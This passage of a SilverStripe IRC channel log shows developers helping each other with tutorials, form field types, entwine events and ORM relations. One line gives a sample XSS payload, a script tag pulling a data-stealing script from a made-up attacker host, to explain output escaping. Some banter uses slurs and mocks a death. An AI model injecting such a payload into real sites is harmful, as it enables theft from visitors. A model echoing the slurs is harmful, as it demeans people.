909: [11:21:40] <kinglozzer> daslicht: Error reporting is still off, see the "white screen" bit here: http://www.leftandmain.com/silverstripe-tips/2010/09/08/8-common-silverstripe-errors-explained-and-solved/
910: [11:24:20] <daslicht> aha
911: [11:24:41] <daslicht> http://31.150.20.212/admin/pages
912: [11:24:43] <daslicht> herer we go
913: [11:26:33] <daslicht> thats this line from the tutorial:
914: [11:26:34] <daslicht> https://gist.github.com/daslicht/84b2b554f453a471da9d#file-gistfile1-txt-L3
915: [11:28:31] <kinglozzer> daslicht: You must have a typo in your actual code
916: [11:28:46] <daslicht> where?
917: [11:28:51] <daslicht> i just copy pasted :D
918: [11:29:18] <daslicht> on line 3 therer is just the declaration of that array
919: [11:29:30] <daslicht> ahh
920: [11:29:34] <daslicht> i removed white spaces
921: [11:29:37] <daslicht> now its working
922: [11:29:52] <daslicht> ok herer we go
923: [11:29:57] <daslicht> i continue
924: [11:31:19] <Zauberfisch> I think this thing you want to build is perfect for another tutorial, I might actually make one out of it
925: [11:31:29] <Zauberfisch> I just wrote up the very basics into a little gist:
926: [11:31:36] <Zauberfisch> https://gist.github.com/Zauberfisch/5ae254201dc8528fda53
927: [11:32:04] <Zauberfisch> daslicht: howerver, I would recommend you still go through the basic tutorials before checking out that example I just posted
928: [11:33:01] <daslicht> these?
929: [11:33:02] <daslicht> http://doc.silverstripe.org/framework/en/tutorials/
930: [11:33:03] <daslicht> ?
931: [11:33:08] <Zauberfisch> yesp
932: [11:33:12] <daslicht> i am on that ?
933: [11:33:22] <daslicht> i am now at tutorial 2
934: [11:33:26] <Zauberfisch> yeah, those that you are doing right now
935: [11:33:36] <Zauberfisch> just saying, finish them before using my code
936: [11:33:42] <daslicht> i am not at tut 2
937: [11:33:47] <daslicht> yeah
938: [11:35:15] <Zauberfisch> daslicht: but if you take a look at my example. you'll get an idea of how much code you have to write in silverstripe to get something that you want
939: [11:35:49] <daslicht> which was your example please?
940: [11:35:55] <Zauberfisch> the gist i posted
941: [11:36:03] <daslicht> i think i can live with the amount of code fram what i have seen sofar
942: [11:36:03] * Error404NotFound has joined #silverstripe
943: [11:36:04] <Zauberfisch> still talking about the same thing ;)
944: [11:36:09] <daslicht> ahh
945: [11:36:27] <daslicht> ohh i oversaw that
946: [11:36:28] <daslicht> cool
947: [11:36:31] <daslicht> very nice
948: [11:38:17] <daslicht> ok i continue with teh tuts
949: [11:38:23] <daslicht> cant wait to try the filter
950: [11:38:30] <kinglozzer> Why has no one reskinned xdebug? It's so ugly :(
951: [11:39:54] <kinglozzer> I guess you'd have to do it before compiling the extension, though :/
952: [11:40:56] <Pyrk> [11:59] <Zauberfisch> Pyrk: I think $BaseHref is deprecated
953: [11:40:58] <Pyrk> yep, sure is.
954: [11:41:18] <Pyrk> spotted that in code yesterday, but it's still what sticks in my head.
955: [11:41:22] <Pyrk> $baseURL is the new one iirc
956: [11:41:55] <Pyrk> [12:01] <kinglozzer> Zauberfisch: Oh, you're right, it says "//@deprecated 3.0" in a comment, but it hasn't actually been deprecated :P
957: [11:41:57] <Pyrk> mmm
958: [11:42:07] <r3v3rb> Pyrk: makes more sense - similarly named call from controller or template
959: [11:42:37] <kinglozzer> Pyrk: The lower case 'b' annoys me though
960: [11:43:06] <r3v3rb> right, back to finding where my locale is when onAfterWrite is being called in my comments extension :)
961: [11:43:08] <Pyrk> mmm, me too :<
962: [11:43:11] <Pyrk> kinglozzer: ^
963: [11:43:23] <kinglozzer> Oh wait, you can just use a capital B :P
964: [11:43:29] <r3v3rb> Pyrk: kinglozzer yep, should be _baseURL :P
965: [11:43:48] <r3v3rb> heh! not really
966: [11:43:48] <Pyrk> can you though? Last I checked SSViewer was case sensitive about template vars
967: [11:44:09] <kinglozzer> Pyrk: Actually I'm not sure, neither outputs anything for me :|
968: [11:44:12] <daslicht> $Author is empty here
969: [11:45:26] <kinglozzer> Pyrk: Oh, it does work
970: [11:45:31] <kinglozzer> They both were outputting '/'
971: [11:45:50] <Pyrk> haha
972: [11:46:01] <daslicht> ahh i see, i have to manually add a author
973: [11:47:54] <Pyrk> o.0
974: [11:49:02] <Pyrk> yeah, defining a field just adds it to the database for you, it doesn't prepopulate with a bunch of default authors!
975: [11:52:28] <daslicht> what does line 5 and 6 do here ?
976: [11:52:29] <daslicht> https://gist.github.com/daslicht/d0bd7b7da566f23d98eb#file-gistfile1-txt-L5
977: [11:52:35] <daslicht> code taken from tutorial 2
978: [11:52:37] <daslicht> ?
979: [11:53:03] <daslicht> if i remove line 5 and 6 nothing changes
980: [11:53:10] <Zauberfisch> btw, has any of you gents been getting errors with the translatable module and that daum search bot?
981: [11:53:47] <Zauberfisch> seems that bot has an array of locales, where any other browsers only has a string
982: [11:59:03] <kinglozzer> daslicht: That outputs the page content. $Content should only be there once, I'm guessing that's a mistake if it's in there twice
983: [11:59:45] <daslicht> ok
984: [12:02:09] * Error404NotFound quit (Quit: User guilty of hitting the Big Red X...)
985: [12:10:33] * r3v3rb quit (Ping timeout: 240 seconds)
986: [12:10:54] * UndefinedOffset has joined #silverstripe
987: [12:13:44] * r3v3rb has joined #silverstripe
988: [12:43:04] * Colin[pi] quit (Ping timeout: 264 seconds)
989: [12:43:29] * simon_w quit (Quit: This computer has gone to sleep)
990: [12:44:55] * Robke quit (Ping timeout: 246 seconds)
991: [13:02:35] * r3v3rb quit (Quit: r3v3rb)
992: [13:04:55] * origincube has joined #silverstripe
993: [13:08:09] <ocm> what is the way to use entwine to trigger a function on load (in the cms)?
994: [13:08:26] <ocm> onchange / onclick both work
995: [13:08:33] <ocm> onload doesn't seem to do it
996: [13:13:28] <Pyrk> oninit or something
997: [13:13:30] <Pyrk> I forget
998: [13:14:39] <ocm> lemme try
999: [13:15:12] <Pyrk> there's also onmatch and onunmatch, but there's something a bit newer that's slightly different too because apparently those two confused people. Although I may have seen that in the video as opposed to read it somewhere
1000: [13:15:17] <Pyrk> http://vimeo.com/50108173
1001: [13:16:51] <Pyrk> hmm, onadd perhaps.
1002: [13:17:21] <Pyrk> https://github.com/hafriedlander/wdcnz-memodemo/blob/master/mysite/javascript/application.js#L144
1003: [13:18:09] <ocm> onadd? that would confuse me
1004: [13:18:24] <ocm> cause adding is +, not loading (e.g. changing from pages )
1005: [13:19:05] <ocm> though I would try :)
1006: [13:25:28] <ocm> onadd indeed!
1007: [13:25:32] <ocm> thnx Pyrk
1008: [13:32:40] <Pyrk> adding the method to the selector!
1009: [13:32:50] <Pyrk> not the mathmatical operation ;)
1010: [13:34:46] <ocm> mathmatical operation?
1011: [13:35:13] <ocm> entwine is like, $(elem).entwinte({ onclick : somefunction(){ blabl } );
1012: [13:35:14] <Pyrk> 3+4
1013: [13:35:17] <ocm> no math there
1014: [13:35:23] <Pyrk> yeah, but that's about clicking!
1015: [13:36:09] <ocm> it works for onadd aswell
1016: [13:36:12] <ocm> onchange
1017: [13:36:13] <Pyrk> onadd is the act of applying the { onadd: thisWholeBlock } to the elem
1018: [13:36:30] <Pyrk> adding the entwine to the selector
1019: [13:36:39] * daslicht has reached Tutorial 5
1020: [13:36:41] <Pyrk> entwining
1021: [13:36:45] <ocm> I got it like this now: entwine({ onadd: function(){ doshit });
1022: [13:37:03] <Pyrk> idk, that's how I understand it at least. I haven't really gotten too far with entwine before though
1023: [13:37:10] <Pyrk> daslicht: what do you think?
1024: [13:37:16] <daslicht> lovely so far
1025: [13:37:21] <daslicht> i love the backend
1026: [13:37:22] <Pyrk> :>
1027: [13:37:31] <daslicht> the amount of code is acceptable
1028: [13:37:33] <Pyrk> which backend is that? the CMS or the actual code?
1029: [13:37:42] <daslicht> both :D
1030: [13:37:45] <Pyrk> :>
1031: [13:37:52] <daslicht> pretty cool
1032: [13:37:58] <daslicht> but i have some questions
1033: [13:38:02] <Pyrk> of course
1034: [13:38:02] <kinglozzer> Pyrk, ocm: Isn't the difference that onadd is when an element matching the selector is added to the DOM, onmatch is when a selector matches (e.g. if a class is added to an element and the selector now matches) ?
1035: [13:38:12] <daslicht> i am finishing the 5th tutorial and come back
1036: [13:38:35] <Pyrk> kinglozzer: yeh, as I said they're slighly different but basically do the same thing
1037: [13:38:40] * babak quit (Quit: Connection closed for inactivity)
1038: [13:38:58] <Pyrk> adding things to the dom should also call onmatch, originally there was no onadd
1039: [13:39:11] <Pyrk> from what I've heard
1040: [13:39:32] <kinglozzer> Yeah I think they are fundamentally the same, just nicer to make it obvious at a glance what's going to trigger the event ^^
1041: [13:40:10] * catcher has joined #silverstripe
1042: [13:41:45] * kinglozzer is now known as kingTOKENIzer
1043: [13:41:46] <Pyrk> kinglozzer: yeh, that's the way it was explained. "confusion"
1044: [13:42:37] <origincube> hi guys, so i'm creating a custom form within one of my site templates (been following the forms tutorial), and when i'm creating my dataobject i need three fields, Name, Email, and an HTML block. when specitying the $db array, is the html block specified as 'HTML' or do all three items just become => 'Text' ?
1045: [13:42:49] <kingTOKENIzer> Pyrk: Oh yeah, my bad
1046: [13:42:51] <ocm> kinglozzer, sounds like it makes sense what you say
1047: [13:43:27] <ocm> onmatch was/is used aswell I thought for changing values and mathcing (like an enum)
1048: [13:43:50] <ocm> I have it working anyway
1049: [13:44:29] <Pyrk> origincube: You've worded that so weirdly I'm not sure if you're doing everything wrong or have just made a typo.
1050: [13:44:37] <ocm> http://sspaste.com/paste/show/53a1940b2a503
1051: [13:45:14] <ocm> it toggles some parts (like slider/no slider. In case of no slider there is still the option to put an image and caption there)
1052: [13:45:14] <origincube> yeah sorry i was trying to figure out how best to word it, but this is the first time i'm attempting coding something like this within the cms
1053: [13:45:31] <Pyrk> but you don't make forms in templates. You can't. You don't need a dataobject for a form. Form fields should be TextField, EmailField, TextareaField (probably)
1054: [13:46:24] <Pyrk> if you're storing this in an especially created dataobject for storing this info, then $db = ['Name' => 'Varchar', 'Email' => 'Varchar', 'Text' => 'HTMLText']
1055: [13:46:39] <Pyrk> and again, you don't code in the cms.
1056: [13:46:42] <Pyrk> :>
1057: [13:46:56] <origincube> yes i know, but i meant within the cms infrastructure ;)
1058: [13:47:14] <origincube> i.e. building custom component rather than just using widgets and add ons
1059: [13:50:17] <Pyrk> origincube: you read the tutorials then I take it?
1060: [13:50:56] <origincube> yes
1061: [13:51:00] <Pyrk> cool :)
1062: [13:51:09] <origincube> am following the forms tutorial, but as i'm not building a poll
1063: [13:51:21] <origincube> i just wanted to make sure the types and things i was using were correct
1064: [13:51:46] <Pyrk> well, the difference between Varchar & Text and HTMLVarchar & HTMLText is that the former two automatically escape their output
1065: [13:51:54] <Pyrk> so & becomes &amp;, etc
1066: [13:52:00] <kingTOKENIzer> origincube: As Pyrk said, HTMLText for HTML blocks. You don't need Text for the other two, though. Just Varchar(255)
1067: [13:52:03] <Pyrk> where as the latter stores pretty much raw text.
1068: [13:52:11] <kingTOKENIzer> ^
1069: [13:52:20] <origincube> hmm, so HtmlVarchar would be better? since i need to insert that into an email
1070: [13:52:22] <Pyrk> Text and Varchar's difference is mostly in size.
1071: [13:52:35] <Pyrk> origincube: no, only if they're entering in HTML to where their name should be, etc.
1072: [13:52:53] <kingTOKENIzer> origincube: Just use HTMLText for the HTML part, Varchar(255) for name + email
1073: [13:52:54] <origincube> ok, yeah they aren't even going to enter the html content
1074: [13:53:06] <origincube> basically that is generated by a piece of jquery based on other input they specify
1075: [13:53:29] <Pyrk> if you expect someone's name to be <script type="text/javascript" src="http://myultimatehacks.com/get_all_your_info.js"></script> ... that would be bad.
1076: [13:53:32] <origincube> my thinking is i simply get jquery to assign the html block content to a hidden field
1077: [13:53:34] <kingTOKENIzer> origincube: What if they have JavaScript disabled? ;)
1078: [13:53:52] <origincube> if they have javascript disabled then they can't use the calculator
1079: [13:53:53] <kingTOKENIzer> Pyrk: That's what my first born's name will be
1080: [13:54:06] <Pyrk> Varchar will just print the text. HTMLVarchar will dump it straight into the output as is, making the browser download some xss attack
1081: [13:54:13] <kingTOKENIzer> origincube: Fair enough :P
1082: [13:54:41] <origincube> its unavoidable unfortunately, the client supplied this chunk of jquery code, and they want it now to email the results to them
1083: [13:54:55] <origincube> its essentially a quote calculator, now all their other forms use the userforms add on
1084: [13:55:04] <origincube> which we can't use here because its a specialised template
1085: [13:55:15] <Pyrk> just subclass and make a new template
1086: [13:55:21] * Pyrk shrugs
1087: [13:55:38] <Pyrk> then you can have a different template and userforms.
1088: [13:55:47] <origincube> hmm,
1089: [13:56:03] <origincube> i'm still learning my way around this stuff (not my main area of expertise)
1090: [13:56:07] <origincube> so how would i go about doing that
1091: [13:56:19] <origincube> get the calculator template to extend the userforms template?
1092: [13:57:03] <kingTOKENIzer> http://api.silverstripe.org/3.1/class-_DiffEngine.html dafuq
1093: [13:57:45] <origincube> sorry if i sound like a complete idiot, but like i said i havne't really done much customisation using silverstripe before, so sometimes i feel completely out of my depth
1094: [13:57:48] <origincube> *blush*
1095: [14:00:54] <origincube> would something like this work better?
1096: [14:00:55] <origincube> http://sspaste.com/paste/show/53a197d3d85ea
1097: [14:06:41] * Colin[pi] has joined #silverstripe
1098: [14:07:50] * muskie9 has joined #silverstripe
1099: [14:11:35] * kerosene quit (Quit: WeeChat 0.4.3)
1100: [14:12:22] <origincube> sweet, this is a million times simpler than building the form from scratch
1101: [14:12:46] <origincube> but now my other question. if i use the userform mechanism, i can't seem to find a hidden form field
1102: [14:13:31] <ocm> userform should have a hiddenfield
1103: [14:13:57] <origincube> thats what i thought, but its not showing up in the field drop down
1104: [14:15:21] <ocm> you could add a custom class to the field
1105: [14:15:23] <ocm> to make it hidden
1106: [14:15:27] <ocm> I see it is missing indeed
1107: [14:15:35] <ocm> but customizing a generic textfield to make it hidden should work
1108: [14:15:48] <origincube> yeah thats probably the best approach
1109: [14:15:52] <origincube> thanks ;)
1110: [14:15:55] <ocm> show options, lowest option
1111: [14:16:14] <ocm> you could even add rules there to show a field when a value of a given field is a certain value
1112: [14:16:36] <Pyrk> hmm, used to be a hiddenfield option in userforms I believe... coudl be wrong though :/
1113: [14:16:43] <origincube> yeah, although this field shouldn't eve be visible to the user, i just need it to store a block of html content from elsewhere on the page
1114: [14:17:29] <Pyrk> but yes, just what you're doing is the easy way origincube :) The downside being that if the new template is to be complex (eg. "we want this field over there" ) it can be a bit tricky (well, more than a bit really).
1115: [14:17:38] <Pyrk> but generally it's fine.
1116: [14:17:39] <ocm> is anyone else using hasoneedit module?
1117: [14:17:48] <Pyrk> (have done exactly what you're doing a few times).
1118: [14:18:02] <origincube> yeah, basically i just added a new content area where i can place the $UserForm value
1119: [14:18:26] * kingTOKENIzer is now known as kinglozzer
1120: [14:18:39] <Pyrk> [14:57] <kingTOKENIzer> http://api.silverstripe.org/3.1/class-_DiffEngine.html dafuq
1121: [14:18:41] <Pyrk> kinglozzer: eh?
1122: [14:18:48] <kinglozzer> Pyrk: O.o
1123: [14:18:54] <Pyrk> it's for "old version vs current version" I imagine.
1124: [14:19:14] <Pyrk> Page/history/compare/v3/v9
1125: [14:19:16] <Pyrk> or something
1126: [14:19:24] <kinglozzer> Pyrk: Ah yeah good shout
1127: [14:19:26] <Pyrk> you know how it is
1128: [14:19:40] <Pyrk> because new bits are green, old bits are red, etc.
1129: [14:20:35] <Pyrk> Still, it's quite intense, yes. :<
1130: [14:27:29] <daslicht> on this image the Student tab is missing :
1131: [14:27:29] <daslicht> http://doc.silverstripe.org//src/framework_3.1/docs/en/tutorials/_images/tutorial5_addNew.jpg
1132: [14:27:57] <daslicht> hm or not
1133: [14:32:35] <Pyrk> old pic I think
1134: [14:32:37] <Pyrk> also
1135: [14:32:58] <micmania1> Pyrk: kinglozzer: yeah, its for diffing versions.
1136: [14:33:04] <micmania1> I extended it for markdown once
1137: [14:33:44] <micmania1> or maybe it was something similar
1138: [14:36:44] <Pyrk> rugh, gawd.https://github.com/silverstripe/silverstripe-framework/blob/3.1/forms/gridfield/GridFieldDetailForm.php#L643
1139: [14:36:55] <Pyrk> YUDODIS :<
1140: [14:38:33] <Pyrk> Fuck I keep thinking it's Thursday :/
1141: [14:41:23] <catcher> Pyrk, see my discussion w/ Ryan-Toast yesterday
1142: [14:41:44] <catcher> <catcher> Ryan-Toast, newer offices listen to things other than sound?
1143: [14:41:44] <catcher> <Stomach> its way better
1144: [14:41:44] <catcher> <catcher> Ryan-Toast, you guys eat mushrooms there or something?
1145: [14:41:44] <catcher> <Ryan-Toast> catcher: Only on Thursday afternoons.
1146: [14:41:44] <catcher> <Ryan-Toast> Stomach: Wish I had noise cancelling headphones, not just normal ones.
1147: [14:41:44] <catcher> <catcher> Eat enough and they're all Thursdays!
1148: [14:41:46] <catcher> <Ryan-Toast> IT’S SO LOUD
1149: [14:42:05] <catcher> This explains a lot about you Pyrk.
1150: [14:42:53] <Pyrk> wut
1151: [14:43:29] <Pyrk> this just in, Ryan-Toast's office gets on the mushies.
1152: [14:43:32] <Pyrk> magic mushies
1153: [14:43:55] <Pyrk> That or he works with a lot of women, and a small dog entered the office.
1154: [14:46:34] <origincube> hehe.
1155: [14:46:38] * muskie9 quit (Read error: Connection reset by peer)
1156: [14:46:52] <origincube> i have another question. so using the userforms mechanisms works
1157: [14:47:04] * muskie9 has joined #silverstripe
1158: [14:47:13] <origincube> but because i don't have a hidden form field, i'm putting this html content into a textarea field which gets hidden
1159: [14:47:29] <origincube> now my problem is that all the html is escaped
1160: [14:47:55] <origincube> so when viewing it in the submissions view it looks horrid
1161: [14:48:47] <catcher> origincube, htmleditorfield
1162: [14:48:50] <ocm> maybe you could onBeforeWrite() ?
1163: [14:49:00] <ocm> if the htmlcontent is static and should be hidden for the user
1164: [14:49:16] <ocm> I should suggest added the data/html using that function
1165: [14:49:44] <origincube> i'm not actually handling the data though, i'm using the userforms add on to do the form etc.
1166: [14:50:08] <origincube> jquery simply copies the content into the text area.
1167: [14:50:17] <origincube> perhaps i should just get it to copy in different content
1168: [14:50:26] <origincube> hmm that would be the simplest solution
1169: [14:53:12] * Sj0hn quit ()
1170: [14:55:02] * danbroooks has joined #silverstripe
1171: [14:55:32] <danbroooks> is there any way to get setAttribute() to add a html attribute with no value ?
1172: [14:55:45] <danbroooks> passing an empty string doesnt work, it doesnt include the attribute at all
1173: [14:59:03] <ocm> what kind of attribute are you trying to add?
1174: [14:59:07] <ocm> to what kind of element?
1175: [14:59:32] <danbroooks> a html5 data attribute, to a form
1176: [15:03:01] <ocm> try setAttribute('attributename','attributename')
1177: [15:03:08] <Pyrk> origincube: $Output.RAW
1178: [15:03:30] <Pyrk> in template
1179: [15:04:08] <danbroooks> that outputs attributename="attributename"
1180: [15:04:31] <Pyrk> did you try all kinds of empty values, or just '' ?
1181: [15:04:50] <micmania1> danbroooks: what are your trying to do with an empty attribute?
1182: [15:05:11] <Pyrk> I imagine using it to try and trigger something
1183: [15:05:23] <danbroooks> yes
1184: [15:05:32] <micmania1> in javascript?
1185: [15:05:33] <danbroooks> http://parsleyjs.org/doc/index.html#psly-usage-overview#usage-form
1186: [15:05:35] <danbroooks> data-parsley-validate
1187: [15:05:39] <danbroooks> yes
1188: [15:05:49] <Pyrk> oh framework, this makes more sense.
1189: [15:05:59] <danbroooks> sorry dodge link
1190: [15:06:01] <danbroooks> http://parsleyjs.org/doc/index.html#psly-usage-form
1191: [15:06:01] <Pyrk> I suppose it's so rigid it can't handle having dummy values in it?
1192: [15:06:29] <micmania1> so why does it need to be blank?
1193: [15:06:44] <danbroooks> idk i havent tried it with an arbitary value in it, i suppose it probably will work, just thought its odd silverstripe cant put in a blank data attribute
1194: [15:07:00] <danbroooks> and wondered if it could, i was just doing it wrong
1195: [15:07:42] <micmania1> nah, it probably shouldn't anyway. Anything that is required by javascript can be handled n javascript anyway.
1196: [15:07:50] <Pyrk> ^
1197: [15:08:00] <danbroooks> what probably shouldnt?
1198: [15:08:08] <Pyrk> add empty attributes
1199: [15:08:11] <danbroooks> why not
1200: [15:08:19] <Pyrk> it defeats the point of an attribute.
1201: [15:08:27] <micmania1> There's no use for an empty attribute
1202: [15:08:38] <danbroooks> no it doesnt
1203: [15:09:03] <Pyrk> though to be fair micmania1 html5 specifies shortcut attributes that don't have vals.
1204: [15:09:07] <danbroooks> ^
1205: [15:09:14] <Pyrk> which is shit, but whatever.
1206: [15:09:30] <danbroooks> why is that shit
1207: [15:09:33] <Pyrk> eg <formfield disabled>
1208: [15:09:39] <Pyrk> danbroooks: because it's shit.
1209: [15:09:43] <danbroooks> great answer
1210: [15:09:49] <Pyrk> perfect answer.
1211: [15:10:09] <Pyrk> conveys the entire point of it: it's simply my opinion.
1212: [15:10:14] <danbroooks> indeed
1213: [15:10:22] <Pyrk> And not a very good one, just that it's how I think.
1214: [15:10:31] <ocm> danbrooks, blank data attributes are nasty
1215: [15:10:33] <ocm> NEVER use it
1216: [15:10:37] <ocm> even for requiredfields
1217: [15:10:38] <micmania1> disabled="disabled" works fine. And in those cases, the API supports it through setting the value
1218: [15:10:39] <Pyrk> mmhmm
1219: [15:10:42] <ocm> required=required
1220: [15:10:44] <ocm> should be the way
1221: [15:10:45] <Pyrk> yup I know micmania1
1222: [15:10:49] <ocm> required="required" *
1223: [15:10:53] <Pyrk> nah ocm, need them double quotes!
1224: [15:10:54] <ocm> or checked="checked"
1225: [15:10:56] <Pyrk> xD
1226: [15:11:01] <Pyrk> indeed, that's how I roll.
1227: [15:11:03] <ocm> hahaha
1228: [15:11:06] <ocm> as it should be
1229: [15:11:07] <ocm> :D
1230: [15:11:09] <Pyrk> HTML5 panders to lazy fools.
1231: [15:11:17] <micmania1> If an attribute does not exist it can be assumed empty. Tying it to PHP code is bad practice.
1232: [15:11:21] <Pyrk> people that get really wound up about 9 extra bytes.
1233: [15:11:23] <ocm> though without values wouldn't break it, it is not that clean in code
1234: [15:11:25] <Pyrk> in their output
1235: [15:11:27] <danbroooks> why are they nasty
1236: [15:11:30] <Pyrk> OMG IT WILL BREAK ALL THE SPEEDS
1237: [15:11:32] <Pyrk> etc
1238: [15:11:35] <danbroooks> please at least give reason
1239: [15:11:37] <Pyrk> I hate folks like that.
1240: [15:11:48] <ocm> danbrooks, empty dataattribute === no attribute
1241: [15:12:00] <ocm> it could be ignored (and it should be according to standards)
1242: [15:12:01] <Pyrk> danbroooks: it is how it is, until people kept fucking up the standard, so they adapted the standard to cater for fuckups.
1243: [15:12:07] <ocm> but then google came and decided it could be otherwise
1244: [15:12:09] <Pyrk> thus, it's a fucked up situation
1245: [15:12:17] <micmania1> danbroooks: it adds bloat to your code. Each character is an extra byte to download. Totally pointless excersise.
1246: [15:12:26] <Pyrk> just because many people do it, doesn't make it right like.
1247: [15:12:42] <danbroooks> ??
1248: [15:12:49] <Pyrk> micmania1: but conversely so is disabled="disabled"
1249: [15:12:52] <danbroooks> is that a sarcasm?
1250: [15:12:56] <ocm> oh wow, composer gives suggestions on what else I should require :D
1251: [15:12:57] <danbroooks> not sure if serious
1252: [15:13:01] <Pyrk> double the bytes + 3
1253: [15:13:09] <danbroooks> ^
1254: [15:13:16] <ocm> danbroooks, the sarcasm is about the bloating bytes in there
1255: [15:13:20] <danbroooks> imo attribute="true" is better
1256: [15:13:22] <ocm> not that you should put values to your attributes
1257: [15:13:26] <danbroooks> but i'm not going to lose any sleep over it
1258: [15:13:36] <danbroooks> yeah
1259: [15:13:37] <ocm> atleast, from my point :P
1260: [15:14:09] <Pyrk> I lose sleep over <a href="the/fuck/did/they/make/this/a/thing"><h1>haha wtf is this shit</h1></a>
1261: [15:14:22] <ocm> Pyrk, INVALID! xD
1262: [15:14:31] <danbroooks> lol
1263: [15:14:34] <Pyrk> another thing where useless masses whinge enough and they change the standard to accomodate retards.
1264: [15:14:36] <ocm> block-element in inline-element
1265: [15:14:36] <ocm> :P
1266: [15:14:38] <Pyrk> ocm: not any more!!
1267: [15:14:45] <ocm> wait wut? since when?!
1268: [15:14:54] <Pyrk> it should be, yes. But it's ok if the inline element is an anchor now.
1269: [15:15:06] <Pyrk> you still cant' <span><div></div></span>
1270: [15:15:14] <Pyrk> but you can <a><div></div></a>
1271: [15:15:23] <ocm> so, is this legal aswell now? <a href="this/is/some/stupid/fucked/up/situation/page/link/"><h1>we are crazy</h1><img src="somecrazy_image.svg" />
1272: [15:15:24] <ocm> </a>
1273: [15:15:24] <Pyrk> since html5
1274: [15:15:34] <Pyrk> ocm: yes
1275: [15:15:41] <ocm> that's it
1276: [15:15:44] <ocm> I'm quiting my job
1277: [15:15:51] <Pyrk> mmhmm *throws toys*
1278: [15:15:53] <ocm> if <a><div /></a> is allowed
1279: [15:15:58] <ocm> it means I can fly aswell!
1280: [15:16:01] <Pyrk> xD
1281: [15:16:04] <ocm> *flies off*
1282: [15:16:06] <Pyrk> not really, plz don't try.
1283: [15:16:13] <Pyrk> it's not that bad... :<
1284: [15:16:52] <ocm> Today a man on acid thought he could fly, jumped of a building
1285: [15:16:53] <ocm> and dioed
1286: [15:16:54] <ocm> died*
1287: [15:17:08] <Pyrk> Happens.
1288: [15:17:08] <ocm> *Good for him*
1289: [15:17:13] <ocm> happens to stupid people
1290: [15:17:21] <Pyrk> Natural Selection.
1291: [15:17:23] <ocm> if you think you can fly, why won't you take of from the ground in the first place?
1292: [15:17:38] <ocm> (as told by Bill Hicks)
1293: [15:17:45] <Pyrk> unfortunately for every one of them, there's another retard making 10 minature retards in their lifetime.
1294: [15:18:31] <micmania1> so he couldn't fly then?
1295: [15:18:41] <Pyrk> He flew straight down!
1296: [15:18:55] * danbroooks quit (Ping timeout: 246 seconds)
1297: [15:20:20] <Pyrk> Well, I suppose there's always altering the templates if one _really_ wants empty attributes anyway micmania1 ocm
1298: [15:21:22] <daslicht> ok trough :D
1299: [15:21:40] <daslicht> I have a question regaring the staff example and its associated image
1300: [15:21:49] <origincube> bloody jquery strings
1301: [15:21:49] <origincube> grrr
1302: [15:22:07] <daslicht> teh staff page contains a $has_one relationship for an image
1303: [15:22:15] <daslicht> and thererfore i cann add only one image
1304: [15:22:30] <ocm> damnit :( why is it impossible to do git update-index --assume-unchanged /dir/* for the whole directory
1305: [15:22:40] <daslicht> I tried to just change the relation to has_many but that gives me an error
1306: [15:24:16] <ocm> fuckit, just remove all files from folder it is
1307: [15:25:28] <daslicht> hehe git can be big fun
1308: [15:26:15] <ocm> git is quite handy
1309: [15:26:24] <Pyrk> daslicht: because a relationship is a two ended thing.
1310: [15:26:39] <ocm> Pyrk, tell that to my right hand
1311: [15:26:41] <daslicht> hm but where is the other side of Image defined?
1312: [15:26:43] <ocm> :P
1313: [15:26:45] <Pyrk> if something has_many others, then other has_one somethings
1314: [15:26:58] <daslicht> I know
1315: [15:26:59] <Pyrk> daslicht: you don't has_many to image.
1316: [15:27:03] <Pyrk> in short.
1317: [15:27:08] <daslicht> but how to define it for an image?
1318: [15:27:14] <Pyrk> you _could_, but it's bad form.
1319: [15:27:15] <daslicht> uff
1320: [15:27:28] <Pyrk> you generally do one of two things
1321: [15:27:36] <daslicht> so how would you associate multiple images to one gallery ?
1322: [15:27:57] <daslicht> or multiple images to one product?
1323: [15:28:05] <ocm> has_many images?
1324: [15:28:05] <Pyrk> either have an intermediary object, generally the way people go, or define it as many_many (because one image having one and only one thing is nonsensical)
1325: [15:28:45] <daslicht> ocm: that wont work
1326: [15:28:59] * origincube quit (Quit: ~ Trillian - www.trillian.im ~)
1327: [15:29:08] <daslicht> wuy is that nonsens?
1328: [15:29:17] <daslicht> If one image belongs to one person ?
1329: [15:29:27] <daslicht> one person can have multiple images
1330: [15:29:30] <Pyrk> daslicht: class ProductImage extends DataObject{ private static $db = ['description' => 'Text', 'Sort' => 'Int']; private static $has_one = ['Image' => 'Image', 'Product' => 'Product']}
1331: [15:29:36] <daslicht> but they all belong to one person
1332: [15:29:47] <daslicht> ahh i see
1333: [15:29:55] <daslicht> i have to create a new image type
1334: [15:29:56] <Pyrk> having an intermediary object allows one to easily modify that, and/or store extra information such as sort values and a small caption or description in my example above
1335: [15:29:58] <daslicht> ok
1336: [15:30:05] <daslicht> that makes sense
1337: [15:30:22] <Pyrk> because if you Image has_one Product, then it can only ever have one.
1338: [15:30:23] <daslicht> got it
1339: [15:30:27] <Pyrk> it belongs, which doesn't make sense.
1340: [15:30:33] <daslicht> Image is like a doctine type
1341: [15:30:38] <Pyrk> Images are general use things, probably used in many places.
1342: [15:30:41] <daslicht> yeah
1343: [15:31:06] <Pyrk> you can define a many_many without having to define the reverse too, but intermediary is generally easier/better
1344: [15:31:20] <Pyrk> you should generally be setting both sides of the relationship
1345: [15:31:31] <daslicht> thank you , i git it now
1346: [15:31:32] <Pyrk> A has_one B, B has_many A, etc.
1347: [15:31:41] <daslicht> got
1348: [15:31:48] <daslicht> aye
1349: [15:31:55] <daslicht> i try it
1350: [15:31:57] <Pyrk> it is to do with how SS stores the relationship.
1351: [15:32:15] <Pyrk> has_one creates a field RelationshipNameID on the object it's defined on.
1352: [15:32:30] <Pyrk> has_many creates a RelationshipnameID on the _target_ object.
1353: [15:33:05] <Pyrk> thus doesn't modify the defining object, and requires the target object to define the reversal has_one
1354: [15:33:12] <Pyrk> otherwise you'll get an error
1355: [15:33:18] <Pyrk> no such field, etc.
1356: [15:33:32] <Pyrk> many_many uses a third table, a join table.
1357: [15:33:49] <Pyrk> thus defining only one side can work.
1358: [15:33:59] <Pyrk> but you have no way of tracing backwards through the ORM.
1359: [15:34:04] <Pyrk> as example.
1360: [15:36:11] <Pyrk> by 'object' here I'm really meaning RDBMS row.
1361: [15:36:34] <daslicht> Thank you
1362: [15:36:38] <daslicht> now i need a break
1363: [15:37:25] <daslicht> i be back later
1364: [15:46:43] * R\w\C quit (Quit: My iMac has gone to sleep. ZZZzzz…)
1365: [15:49:51] * R\w\C has joined #silverstripe
1366: [15:51:46] * r3v3rb has joined #silverstripe
1367: [16:00:28] * kinglozzer quit ()
